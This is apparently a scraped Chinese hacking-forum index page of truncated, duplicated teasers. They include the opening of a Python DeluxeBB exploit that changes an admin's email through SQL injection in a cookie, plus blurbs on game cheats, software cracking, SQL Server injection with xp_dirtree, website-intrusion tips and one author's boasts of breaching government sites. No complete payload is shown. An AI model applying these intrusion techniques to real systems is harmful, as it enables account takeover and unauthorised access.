!/usr/bin/python -- coding: iso-8859-15 -- ''' § DeluxeBB 0day Remote Change Admin's credentials § PoC / Bug Explanation: When you update your profile, DeluxeBB execute a vulnerable query: $db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')"); So, editing cookie "membercookie" you can change remote user's email. Enjoy ;) ''' import httplib, urllib, sys, md5 from random import randint print "\n################################################" print " DeluxeBB <= 1.09 Remote Admin's/User's Email Change " print " Vulnerability Discovered By Nexen......
阅读全文 →DeluxeBB 0day Remote Change Admin's credentia
!/usr/bin/python -- coding: iso-8859-15 -- ''' § DeluxeBB 0day Remote Change Admin's credentials § PoC / Bug Explanation: When you update your profile, DeluxeBB execute a vulnerable query: $db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')"); So, editing cookie "membercookie" you can change remote user's email. Enjoy ;) ''' import httplib, urllib, sys, md5 from random import randint print "\n################################################" print " DeluxeBB <= 1.09 Remote Admin's/User's Email Change " print " Vulnerability Discovered By Nexen......
阅读全文 →让VB菜鸟最快写出自己的外挂
让VB菜鸟最快写出自己的外挂.通杀所有游戏 这年头,在这个论坛里面已经没有什么技术贴了...呵呵~发一篇惊天地,泣鬼神的帖子.当然这个只是模拟键盘的终极模拟.呵呵~ 键盘是我们使用计算机的一个很重要的输入设备了，即使在鼠标大行其道的今天，很多程序依然......
阅读全文 →让VB菜鸟最快写出自己的外挂
让VB菜鸟最快写出自己的外挂.通杀所有游戏 这年头,在这个论坛里面已经没有什么技术贴了...呵呵~发一篇惊天地,泣鬼神的帖子.当然这个只是模拟键盘的终极模拟.呵呵~ 键盘是我们使用计算机的一个很重要的输入设备了，即使在鼠标大行其道的今天，很多程序依然......
阅读全文 →vb制作游戏外挂教程菜鸟级
有个问题必须首先考虑：使用VB编写的修改器需要VB的执行库才能执行。如果考虑到有些使用者(实际上可能是大部分使用者)没有执行库，那么在最后制作的ZIP压缩档中就必须包含这些庞大的档。在下面的教程里我将制作一个修改器，如果为它再制作一个安装......
阅读全文 →vb制作游戏外挂教程菜鸟级
有个问题必须首先考虑：使用VB编写的修改器需要VB的执行库才能执行。如果考虑到有些使用者(实际上可能是大部分使用者)没有执行库，那么在最后制作的ZIP压缩档中就必须包含这些庞大的档。在下面的教程里我将制作一个修改器，如果为它再制作一个安装......
阅读全文 →安装时需要注册的软件破解
破文作者：Myth灬神话 使用工具：xpsp2、OD 破解难度：+++初级+++ 工作平台：Win9x/NT/2000/XP 破解过程：今日破解一个在AUTO CAD平台上运行的建筑类软件,通过调试跟踪,发现这个软件采用了安装注册和限制次数。 1、注册是在安装时进行，不同于一般安装后再注册。 2、安装、注册次数不......
阅读全文 →安装时需要注册的软件破解
破文作者：Myth灬神话 使用工具：xpsp2、OD 破解难度：+++初级+++ 工作平台：Win9x/NT/2000/XP 破解过程：今日破解一个在AUTO CAD平台上运行的建筑类软件,通过调试跟踪,发现这个软件采用了安装注册和限制次数。 1、注册是在安装时进行，不同于一般安装后再注册。 2、安装、注册次数不......
阅读全文 →黑客网络入侵大型网站的完整思路
1.acunetix web vulnerability Scanner 4 简称AC4 2.另外以下一种方式走的通,就不用往下走了 3.个人爱好用Portready,是因为他快速准确,当然你也可以用别的. 4.AC4扫描很耗时间,扫一个网站大约需要3-5个小时,扫整个网段大约需要8个小时左右 方法: 1.X-SCAN扫描目标服务器(一般是没有漏洞,收......
阅读全文 →黑客网络入侵大型网站的完整思路
1.acunetix web vulnerability Scanner 4 简称AC4 2.另外以下一种方式走的通,就不用往下走了 3.个人爱好用Portready,是因为他快速准确,当然你也可以用别的. 4.AC4扫描很耗时间,扫一个网站大约需要3-5个小时,扫整个网段大约需要8个小时左右 方法: 1.X-SCAN扫描目标服务器(一般是没有漏洞,收......
阅读全文 →SQL server取得网站路径的几种方法及比较
如果网站只开了80端口，你会发现下面的方法是比较有用的，其中用的方法几乎都不是我发现的，文总包括一些注入时的个人经验和技巧方法可以说有4种(现在已知的) 第一种方法: 这个是<<怪异的SQL注入>>中介绍的方法 利用sqlserver的xp_dirtree,好的我们先来将一下......
阅读全文 →SQL server取得网站路径的几种方法及比较
如果网站只开了80端口，你会发现下面的方法是比较有用的，其中用的方法几乎都不是我发现的，文总包括一些注入时的个人经验和技巧方法可以说有4种(现在已知的) 第一种方法: 这个是<<怪异的SQL注入>>中介绍的方法 利用sqlserver的xp_dirtree,好的我们先来将一下......
阅读全文 →入侵的10个小技巧
1. 判断服务器所使用的系统 例如我们的目标网址为“http://www.00day.cn/forum/index.php”那么我们把地址改为http://www.00day.cn/forum/index.PHP后再浏览看看是否存在页面，如果存在的话，则服务器所使用的系统为windows,如果显示不存在，则服务器很有可能使用的是*nix系统。 2. Ewebeditor拿站的新技巧 Ewebeditor大家应该是......
阅读全文 →入侵的10个小技巧
1. 判断服务器所使用的系统 例如我们的目标网址为“http://www.00day.cn/forum/index.php”那么我们把地址改为http://www.00day.cn/forum/index.PHP后再浏览看看是否存在页面，如果存在的话，则服务器所使用的系统为windows,如果显示不存在，则服务器很有可能使用的是*nix系统。 2. Ewebeditor拿站的新技巧 Ewebeditor大家应该是......
阅读全文 →谈点个人入侵的经验
平时空闲时间经常找些站练练手，基本是新闻闹出轰动的站与一些知名的大站。2008年的成果还是颇丰的，从某某国内2大知名社区论坛到某某著名交友站到某某2大读书站到某某mobile到某某政府站等大站，再到若干名不见经传的小站，都闪过的我的影踪。但我个......
阅读全文 →谈点个人入侵的经验
平时空闲时间经常找些站练练手，基本是新闻闹出轰动的站与一些知名的大站。2008年的成果还是颇丰的，从某某国内2大知名社区论坛到某某著名交友站到某某2大读书站到某某mobile到某某政府站等大站，再到若干名不见经传的小站，都闪过的我的影踪。但我个......
阅读全文 →